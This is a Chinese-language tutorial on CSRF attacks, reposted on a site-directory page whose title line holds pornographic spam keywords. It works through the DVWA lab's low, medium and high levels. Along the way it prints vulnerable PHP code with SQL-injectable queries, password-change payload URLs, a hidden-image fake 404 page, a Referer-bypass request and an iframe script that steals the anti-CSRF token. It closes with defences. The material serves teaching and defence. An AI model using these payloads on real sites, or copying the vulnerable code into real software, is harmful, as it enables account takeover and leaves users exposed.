日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網為廣大站長提供免費收錄網站服務,提交前請做好本站友鏈:【 網站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

10分鐘淺談CSRF突破原理,Web安全的第一防線

 

CSRF攻擊即跨站請求偽造(跨站點請求偽造),是一種對網站的惡意利用,聽起來似乎與XSS跨站腳本攻擊有點相似,但實際上彼此相差很大,XSS利用的是站點內的信任用戶,而CSRF則是通過偽裝來自受信任用戶的請求來利用受信任的網站。

你可以這么理解CSRF攻擊:攻擊者盜用了你的身份,以你的名義向第三方網站發送惡意請求。CRSF能做的事情包括利用你的身份發郵件,發短信,進行交易轉賬等,甚至盜取你的賬號。

 

那么,今天i春秋向小伙伴介紹一下CSRF突破原理的相關內容,希望對大家學習Web安全有所幫助。文章閱讀約15分鐘,一定要看完哦,文末內容更精彩?

 

CSRF攻擊原理

當我們打開或登錄某個網站后,瀏覽器與網站所存放的服務器將會產生一個會話,在會話結束前,用戶就可以利用其自身的網站權限對網站進行操作,如:發表文章,發送郵件,會話結束后,在進行權限操作,網站就會知道會話超期或重新登錄。

當通過登錄網站后,瀏覽器就會和可信的站點建立一個經過認證的會話。所有通過這個經過認證的會話發送請求,都被認為是可信的行為,例如轉賬,匯款等操作。過長或者自主結束重疊,必須重新建立經過認證的可信安全的會話。

CSRF攻擊是建立在會話之上。例如:登錄了網上銀行,拆分轉換賬業務,這是攻擊者給你發來一個URL,這個URL是攻擊者精心構造的有效替代,攻擊者精心構造的轉賬業務代碼,而且與你登錄的是同一家銀行,當你認為這是安全的鏈接后點擊進去,你的錢就沒了!

例如想給用戶xxser轉賬1000元,正常的URL是:

secbug.org/pay.jsp?user=xxser&money=1000

而攻擊者構造的URL則是:

secbug.org/pay.jsp?user=hack&money=10000


CSRF突破利用

CSRF進攻常常被用來制造蠕蟲攻擊,seo流量等。

分析防御代碼

獲取GET參數用戶名和密碼,然后通過選擇語句查詢是否存在對應的用戶,如果存在通過$ _SESSION設置一個會話:isadmin = admin,否則設置會話:isadmin = guest

判斷會話中的isadmin是否為admin,如果isadmin!= admin說明用戶沒有登錄,那么切換到登錄頁面,只有在管理員登錄后才可以執行用戶的操作。

獲取POST參數用戶名和密碼然后插入用戶表中,完成添加用戶的操作。

<?php  session_start();  if (isset($_GET['login'])) {  $con=MySQLi_connect("127.0.0.1","root","123456","test");  if (mysql_connect_errno()) {    echo "連接失敗".mysql_connect_errno();  }  $username = addslashes($_GET['username']);  $password = $_GET['password'];  $result = mysqli_query($con , "select * from users where username='".$username."' and password='".md5($password)."'");  $row = mysqli_fetch_array($result);  if($row){    $_SESSION['isadmin'] = 'admin';    exit("登錄成功");  } else{    $_SESSION['isadmin'] = 'guest';    exit("登錄失敗");  }  } else{  $_SESSION['isadmin'] = 'guest';  }  if($_SESSION['isadmin'] != 'admin'){  exit("請登錄……");  }  if(isset($_POST['submit'])){  if (isset($_POST['username'])) {    $result1 = mysqli_query($con,"insert into users(username , password) value ('".$_POST['username']."','".md5($_POST['password'])."')");    exit($_POST['username']."添加成功");  }  }?>

這是后臺php源碼。

攻擊者需要做的就是構造一個請求,請求的URL就是php文件的URL,參數是submit = 1&username = 1&password = 1,請求有效載荷會自動利用原始碼的特性添加一個用戶:

<!DOCTYPE html><html><head>  <meta charset="utf-8">  <title>CSRF漏洞實踐</title></head><body>  <script type="text/JAVAscript">  var pauses = new Array("16");  var methods = new Array("POST");  var urls = new Array("isadmin.php");  var params = new Array("submit=1&username=1&password=1");  function pausecomp(millis){    var date = new Date();    var curDate = null ;    do{      curDate = new Date();    }while(curDate-date<millis);  }  function run(){    var count = 1 ;    var i = 0 ;    for( i=0 ; i < count ; i ++){      makeXHR(methods[i],urls[i],params[i]);      pausecomp(pausecomp[i]);    }  }  var http_request = false ;  function makeXHR(method , url , paramters){    http_request = false ;    if(window.XMLHttpRequest){      http_request = new XMLHttpRequest() ;      if(http_request.overrideMinmeType){      http_request.overrideMinmeType('text/html');      }    } else if(window.ActiveXObject){      try{      http_request = new ActiveXObject("Msxml2.XMLHTTP");      } catch(e){      try{        http_request = new ActiveXObject("Microsoft.XMLHTTP");      } catch (e){ }      }    }    if(!http_request){      alert('Cannot create XMLHTTP instance');      return false;    }    if(method == 'GET'){      if(url.indexOf('?') == -1){      url = url + '?' + paramters;      } else{      url = url + '&' + paramters;      }      http_request.open(method,url,true);      http_request.send("");    } else if(method == 'POST'){      http_request.open(method,url,true);      http_request.setRequestHeader("Content-type","Application/x-www.form-urlencoded");      http_request.setRequestHeader("Content-length",paramters.length);      http_request.setRequestHeader("Connection","close");      http_request.send(paramters);    }  }  </script></body></html>

DVWA平臺CSRF

沒有找到比較好的原始文件,于是找到了DVWA。

low

  • 前端源碼
<h3>Change your admin password:</h3><br><form action="#" method="GET">New password:<br><input autocomplete="off" name="password_new" type="password"><br>Confirm new password:<br><input autocomplete="off" name="password_conf" type="password"><br><br><input value="Change" name="Change" type="submit"></form>

前端原始碼的非常簡單,是一個修改密碼的CSRF,表單采用GET方式更改提交。

  • 后端源碼
<?phpif( isset( $_GET[ 'Change' ] ) ) {// Get input$pass_new= $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {  // They do!  $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));  $pass_new = md5( $pass_new );  // Update the database  $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";  $result = mysqli_query($GLOBALS["___mysqli_ston"],$insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );  // Feedback for the user  echo "<pre>Password Changed.</pre>";}else {  // Issue with passwords matching  echo "<pre>Passwords did not match.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}?>

可以看到預期接收數據后會驗證兩次密碼是否重復,然后修改密碼。

  • 構造有效Payload
http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#

我們將Payload發送給受害者,受害者處于會話保持(登錄狀態)中,遭受一旦點擊該URL鏈接,就意味著受害者執行了同樣的操作,這個過程就是CSRF。

筆者位于的DVWA使用的登錄密碼,被替換為“ 123456”。

  • 重點

這里的攻擊建立是利用受害者的Cookie向服務器發送偽造請求(Payload),如果用戶使用的是一個與xxser.com保持會話登錄的瀏覽器重置有效負載URL,受害者的密碼就會發生更改。

現如今,人們的安全意識普遍增高,我們可以采用短鏈接這種方式來進行優化,例如百度,新浪的短鏈接替代,以便減少圖片內容,密碼修改后的頁面會有提示。

  • 高明的做法(從一位前輩copy過來的)
<!DOCTYPE html><html><head><meta charset="utf-8"><title>Payload</title></head><body><img src="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display: none"><h1>404</h1><h2>file not found.</h2></body></html>

頁面的作用是加載一個偽404的頁面,實際上可以訪問該頁面,就會加載圖片,所謂加載圖片就是加載src屬性,而src屬性則為Payload-URL,實際的行為就是加載該html頁面的同時圖片會加載,也就執行了有效負載。

middle

  • 前端源碼(添加了http_referer頭的驗證)
<?phpif( isset( $_GET[ 'Change' ] ) ) {// HTTP_REFERER :查詢當前頁的前一頁的地址信息// SERVER_NAME:獲取域名if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {  // stripos() :查字符第一次出現的位置,  $pass_new= $_GET[ 'password_new' ];  $pass_conf = $_GET[ 'password_conf' ];  // Do the passwords match?  if( $pass_new == $pass_conf ) {    // They do!    $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));    $pass_new = md5( $pass_new );    // Update the database    $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";    $result = mysqli_query($GLOBALS["___mysqli_ston"],$insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );    // Feedback for the user    echo "<pre>Password Changed.</pre>";  }  else {    // Issue with passwords matching    echo "<pre>Passwords did not match.</pre>";  }}else {  // Didn't come from a trusted source  echo "<pre>That request didn't look correct.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}?>

檢查HTTP_REFERER(http數據包的referer參數值)即上一級URL地址信息是否包含由HTTPHTTP數據包中的主機參數值;包含則表示當前頁面是從DVWA即上一級URL合法的行為。
 

合法的http數據包:

GET /DVWA-master/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Referer: http://127.0.0.1/DVWA-master/vulnerabilities/csrf/Cookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943X-Forwarded-For: 8.8.8.8Connection: keep-aliveUpgrade-Insecure-Requests: 1

留意第2行,第8行。

  • 分析繞過

但是stripos()函數寫的頭驗證是可以繞過的?stripos()函數是多次匹配;只要包含了目標主機地址就可以可以繞過過strips()函數寫的驗證語句

如果我們依舊按照建立一個偽造的攻擊頁面,stripos()頭驗證就會驗證,而頁面并非來自DVWA,于是深挖stripos()函數的擴展,發現函數會多次匹配,于是思路就是建立一個假的文件名,通過一個偽造的文件名,繞過stripos()的驗證。

  • Payload
GET /DVWA-master/vulnerabilities/csrf/?password_new=mirror11&password_conf=mirror11&Change=Change HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Referer: http://127.0.0.1/127.0.0.1.htmlCookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943X-Forwarded-For: 8.8.8.8Connection: keep-alive


這里注意:我們將Payload命名為“ 127.0.0.1.html”

 

high

  • 前端源碼
<?phpif( isset( $_GET[ 'Change' ] ) ) {// 加入 Anti-CSRF token機制checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$pass_new= $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {  // They do!  $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));  $pass_new = md5( $pass_new );  // Update the database  $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";  $result = mysqli_query($GLOBALS["___mysqli_ston"],$insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );  // Feedback for the user  echo "<pre>Password Changed.</pre>";}else {  // Issue with passwords matching  echo "<pre>Passwords did not match.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}// Generate Anti-CSRF tokengenerateSessionToken();?>

加入反CSRF令牌機制,用戶訪問改密頁面時,服務器返回令牌,只有用戶提交令牌參數才可以進行改密行為。

  • 分析繞過

我們構造有效載荷頁面的時候,就需要考慮到執行改密行為必須向服務器發送令牌,而令牌只有在改密頁面才可以獲得;

根據前輩的思路:利用受害者的cookie去改密頁面獲取令牌。

<script type="text/JavaScript">function attack(){ document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;document.getElementById("transfer").submit();}</script><iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;"></iframe><body οnlοad="attack()"><form method="GET" id="transfer" action="http://169.254.36.73/DVWA-master/vulnerabilities/csrf/"> <input type="hidden" name="password_new" value="password"><input type="hidden" name="password_conf" value="password"> <input type="hidden" name="user_token" value=""><input type="hidden" name="Change" value="Change"> </form></body>

攻擊提示是當受害者點擊進入該頁面,腳本會通過一個看不見框架偷偷訪問修改密碼的頁面,獲取頁面中的令牌,并向服務器發送改密請求,以完成CSRF攻擊。

然而理想與現實的差異是巨大的,這里牽扯到了跨域問題,而現在的瀏覽器是分離跨域請求的。這里簡單解釋下跨域,我們的框架iframe訪問的地址是http://169.254。 36.73 / DVWA主站/漏洞/ csrf /,位于服務器169.254.36.73上,而我們的攻擊頁面位于黑客服務器上,其中的域名不同,域名B下的所有頁面都主動獲取域名A下的頁面內容,除非域名A下的頁面主動發送信息給域名B的頁面,所以我們的攻擊腳本是不可能取到改密界面中的user_token。

由于跨域是不能實現的,所以我們將攻擊代碼注入到目標服務器169.254.36.73中,才有可能完成攻擊。下面利用高級XSS入侵協助贏得Anti-CSRF令牌(因為這里的XSS注入有長度限制,不能夠注入完整的攻擊腳本,所以只獲取Anti-CSRF token)

這里的名稱存在XSS突破,于是抓包,改參數,成功刪除令牌鏈接。

10分鐘淺談CSRF突破原理,Web安全的第一防線

 

通過DVWA平臺的CSRF實例,簡單的總結了CSRF的特性和應對措施:

 

CSRF應對措施

從DVWA的測試中總結:在不可能的等級的原始代碼中,利用了PDO技術防御SQL注入,CSRF方面則要求用戶原始密碼;攻擊者在不知道原始密碼的情況下是無法進行CSRF的!

CSRF防御手段

  • 使用POST,限制GET

GET方式最容易受到CSRF攻擊,只要簡單的構造有效劑量就可能導致CSRF;使用POST可以大程度的減低CSRF顯示率

  • 瀏覽器Cookie策略

老瀏覽器會攔截第三方本地Cookie的發送,而新瀏覽器則不會攔截發送;

 

  • 添加驗證碼

簡單粗暴還有效;可以大程度的增加人機交互的過程,避免用戶被悄悄的偷襲

  • 推薦人檢查

檢查請求是否來自于合法的源

  • 反CSRF令牌


令牌的值必須是隨機的,不可預測的。由于令牌的存在,攻擊者無法再構造一個帶有合法令牌的請求實施CSRF攻擊。另外使用令牌時應注意其保密性,盡量把敏感的操作由GET改寫POST,以表格或AJAX形式提交,避免令牌替換。 

  • 總結

CSRF攻擊是攻擊者利用用戶的身份操作用戶帳戶的一種攻擊方式,通常使用反CSRF令牌來防御CSRF攻擊,同時要注意令牌的保密性和隨機性。

實際上是網絡安全除CSRF之外,還包括SQL注入,XSS等眾多知識點,繁雜且不成體系,若要深入學習Web安全攻防內容,一定要從基礎抓起:https://www.ichunqiu.com/train/course/11?form=weixin

分享到:
標簽:突破 CSRF
用戶無頭像

網友整理

注冊時間:

網站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網站吧!
最新入駐小程序

數獨大挑戰2018-06-03

數獨一種數學游戲,玩家需要根據9

答題星2018-06-03

您可以通過答題星輕松地創建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學四六

運動步數有氧達人2018-06-03

記錄運動步數,積累氧氣值。還可偷

每日養生app2018-06-03

每日養生,天天健康

體育訓練成績評定2018-06-03

通用課目體育訓練成績評定